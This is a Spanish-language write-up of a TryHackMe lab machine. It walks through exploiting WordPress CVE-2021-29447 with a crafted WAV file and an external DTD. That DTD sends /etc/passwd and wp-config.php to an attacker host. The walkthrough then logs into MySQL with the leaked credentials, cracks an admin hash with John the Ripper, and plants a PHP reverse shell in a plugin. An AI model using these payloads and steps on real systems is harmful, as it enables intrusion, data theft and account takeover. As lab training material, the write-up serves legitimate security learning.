TryHackMe Easy Target IP: 10.129.154.183

Máquina Wordpress: CVE-2021-29447

Resolución paso a paso de la máquina Wordpress: CVE-2021-29447 de TryHackMe, analizando el servicio web, explotando una vulnerabilidad crítica de XXE (XML External Entity) mediante la subida de un archivo WAV malicioso, y comprometiendo el CMS para escalar privilegios.

#Linux#WordPress#XXE#WAV#PHP#Reverse Shell#John the Ripper#MySQL#Cracking

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de puertos en la máquina víctima para determinar qué servicios y puertos TCP se encuentran expuestos.

Escaneo Completo de Nmap

Se ejecuta un escaneo completo de puertos TCP (-p-), detectando las versiones de los servicios (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):

sudo nmap -sV -T5 -A -p- 10.129.154.183
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.154.183

Resultados Clave de Nmap

El escaneo revela 3 puertos abiertos principales:

  • Puerto 22 (SSH): Servidor OpenSSH 7.2p2 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocolo 2.0).
  • Puerto 80 (HTTP): Servidor web Apache httpd 2.4.18 (Ubuntu) ejecutando WordPress 5.6.2.
  • Puerto 3306 (MySQL): Servidor de base de datos MySQL 5.7.33-0ubuntu0.16.04.1.

Fase 2: Enumeración del Servidor Web (Puerto 80)

1. Acceso al Sitio Web Principal

Accedemos a la dirección IP por HTTP a través del navegador para comprobar el sitio web de WordPress expuesto:

Sitio web principal de WordPress
Página de inicio de WordPress en la dirección http://10.129.154.183

Vemos una instalación estándar de WordPress con el título “Tryhackme - Just another WordPress site” y el post por defecto “Hello world!“.

2. Panel de Administración

Para esta máquina de laboratorio, se nos proporcionan credenciales de bajo privilegio para acceder al panel de administración de WordPress. Las credenciales utilizadas son:

  • Usuario: test-corp
  • Contraseña: test

Iniciamos sesión en http://10.129.154.183/wp-login.php, lo que nos redirige con éxito al dashboard principal de WordPress:

Dashboard de WordPress
Panel de administración de WordPress como el usuario Corporation Test

El dashboard confirma que la versión de WordPress es 5.6.2 y que la versión 5.7.2 se encuentra disponible para actualizar.


Fase 3: Explotación del XXE (CVE-2021-29447)

1. ¿Qué es el CVE-2021-29447?

Es una vulnerabilidad crítica de inyección de entidades externas XML (XXE) que afecta a las versiones de WordPress de la 5.6 a la 5.7, siempre que el servidor se ejecute bajo PHP 8. La causa raíz reside en cómo WordPress analiza los archivos de audio cargados (concretamente la biblioteca ID3 utilizada para extraer metadatos de archivos de sonido, como WAV o MP3). Al subir un archivo de audio con un bloque de metadatos XML malicioso, el motor XML de PHP procesa entidades externas, lo que permite la lectura de archivos arbitrarios del sistema de archivos local y ataques SSRF.

2. Preparación del Payload

Dado que la vulnerabilidad se dispara al subir un archivo multimedia, crearemos un archivo .wav que contenga una declaración DOCTYPE apuntando a un archivo DTD (Document Type Definition) externo alojado en nuestra máquina atacante (192.168.149.112).

En la terminal de Kali Linux, generamos el archivo de audio malicioso:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://192.168.149.112:8000/control.dtd">%remote;%init;%trick;]>\x00' > poc_payload.wav

3. Configuración del Servidor Web Atacante y DTD

Para explotar este XXE Out-of-Band (OOB), necesitamos alojar el archivo control.dtd en nuestra máquina atacante en el puerto 8000.

Primero, creamos el archivo control.dtd con la instrucción para filtrar el archivo que deseamos leer (por ejemplo, /etc/passwd). Para evitar problemas de sintaxis con saltos de línea y caracteres especiales del archivo del sistema, usamos los filtros de PHP (php://filter) para comprimir el archivo con zlib y codificarlo en Base64 antes de enviarlo:

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://192.168.149.112:8000/?p=%file;'>">

Una vez creado el archivo DTD en nuestro directorio de trabajo, iniciamos un servidor web local en PHP para escuchar las peticiones entrantes en el puerto 8000:

php -S 0.0.0.0:8000

4. Subida del Archivo WAV y Exfiltración de Datos

Nos dirigimos a la sección de Media Library en WordPress y cargamos el archivo poc_payload.wav que acabamos de generar:

Carga del payload WAV y recepción de la petición
Subida de poc_payload.wav a la Media Library y recepción del archivo en el servidor PHP atacante

Al cargar el archivo WAV, el servidor WordPress lo analiza automáticamente para extraer sus metadatos XML, realizando dos peticiones a nuestro servidor web atacante:

  1. Una petición GET para descargar nuestro archivo control.dtd.
  2. Una petición GET que contiene el contenido cifrado del archivo /etc/passwd en el parámetro ?p=....

Fase 4: Decodificación y Extracción de Credenciales

1. Lectura del Archivo /etc/passwd

Copiamos la cadena codificada en Base64 recibida en nuestra terminal y utilizamos PHP localmente para decodificarla y descomprimirla:

php -r 'echo zlib_decode(base64_decode("hVTbjpswEH3fr+CxlYLM..."));'
Decodificación del archivo passwd
Resultado de la decodificación de /etc/passwd, revelando el usuario stux

En el listado de usuarios de Linux, encontramos una cuenta de usuario regular muy interesante:

  • stux:x:1000:1000:CVE-2021-29447,,,:/home/stux:/bin/bash

2. Extracción de wp-config.php

Dado que logramos leer /etc/passwd, ahora apuntaremos al archivo de configuración de WordPress (wp-config.php) para extraer las credenciales de la base de datos MySQL.

Modificamos el archivo control.dtd en nuestra máquina para apuntar a wp-config.php:

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://192.168.149.112:8000/?p=%file;'>">

Subimos un nuevo archivo WAV (o refrescamos la biblioteca de medios) para disparar de nuevo la exfiltración. Capturamos la nueva cadena Base64 y la decodificamos:

Decodificación del archivo wp-config.php
Credenciales de MySQL encontradas en el archivo de configuración wp-config.php

La decodificación nos revela los parámetros de conexión de la base de datos de WordPress:

  • DB_NAME: wordpressdb2
  • DB_USER: thedarktangent
  • DB_PASSWORD: sUp3rS3cret132
  • DB_HOST: localhost

Fase 5: Movimiento Lateral e Intrusión

1. Acceso Remoto a MySQL y Extracción del Hash de Contraseña

Dado que el puerto 3306 (MySQL) de la máquina víctima está expuesto a la red, podemos conectarnos de forma remota utilizando las credenciales obtenidas:

mysql -u thedarktangent --password=sUp3rS3cret132 -h 10.129.154.183 -P 3306 --ssl-verify-server-cert=0 wordpressdb2

Dentro del monitor de MySQL, consultamos la tabla wptry_users para encontrar los usuarios registrados en WordPress y sus hashes de contraseña:

SELECT * from wptry_users where id = 1;
Consulta SQL sobre wptry_users
Extracción del hash del usuario administrador corp-001

Obtenemos el hash del usuario administrador corp-001:

  • $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1

2. Cracking de Contraseña con John the Ripper

Guardamos el hash en un archivo de texto llamado hash.txt y ejecutamos john utilizando la lista de palabras rockyou.txt y especificando el formato phpass (usado por WordPress):

echo '$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1' > hash.txt
john --format=phpass hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Descifrado de hash con John
John the Ripper descifra con éxito el hash de la contraseña

La contraseña del usuario administrador corp-001 es teddybear.


Fase 6: Control del Sistema (RCE) y Obtención del Flag

1. Acceso de Administrador y Carga de Reverse Shell

Con las nuevas credenciales de administrador (corp-001 / teddybear), iniciamos sesión en el panel de control de WordPress.

Login en WordPress
Autenticación exitosa como administrador corp-001

Para obtener ejecución remota de comandos (RCE) en el sistema operativo subyacente, aprovechamos el Editor de Plugins de WordPress (/wp-admin/plugin-editor.php). Seleccionamos un plugin instalado (en este caso, WP Hardening, editando wp-security-hardening/wp-hardening.php) y reemplazamos o agregamos una reverse shell PHP de PentestMonkey configurada con la IP de nuestra máquina atacante y el puerto deseado (192.168.149.112:9001):

Inyección de reverse shell en plugin
Edición del archivo PHP del plugin para incrustar el script de reverse shell

2. Ejecución y Recepción de la Shell

En nuestra máquina atacante, iniciamos un listener de Netcat en el puerto 9001:

nc -lvnp 9001

Triggering de la Shell: Visitamos la ruta pública del plugin editado o lo activamos/interactuamos con él para que el código PHP se ejecute. Esto inmediatamente establece la conexión a nuestra terminal:

Conexión inversa recibida en Netcat
Establecimiento de la sesión de reverse shell y tratamiento de la TTY

Una vez recibida la shell como el usuario www-data, estabilizamos el prompt interactivo de la TTY mediante comandos de python3 y stty:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Presionamos CTRL+Z para suspender
stty raw -echo; fg
# Escribimos reset y presionamos enter si es necesario, o exportamos variables de entorno:
export TERM=xterm
export SHELL=bash

3. Lectura de la Flag de Usuario (stux)

Navegamos al directorio personal del usuario stux en /home/stux. Listamos el contenido de su carpeta y encontramos un directorio llamado flag que contiene el archivo flag.txt:

Lectura de flag.txt
Lectura final de la flag en el home de stux
cd /home/stux/flag/
cat flag.txt

La flag de la máquina es: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c72}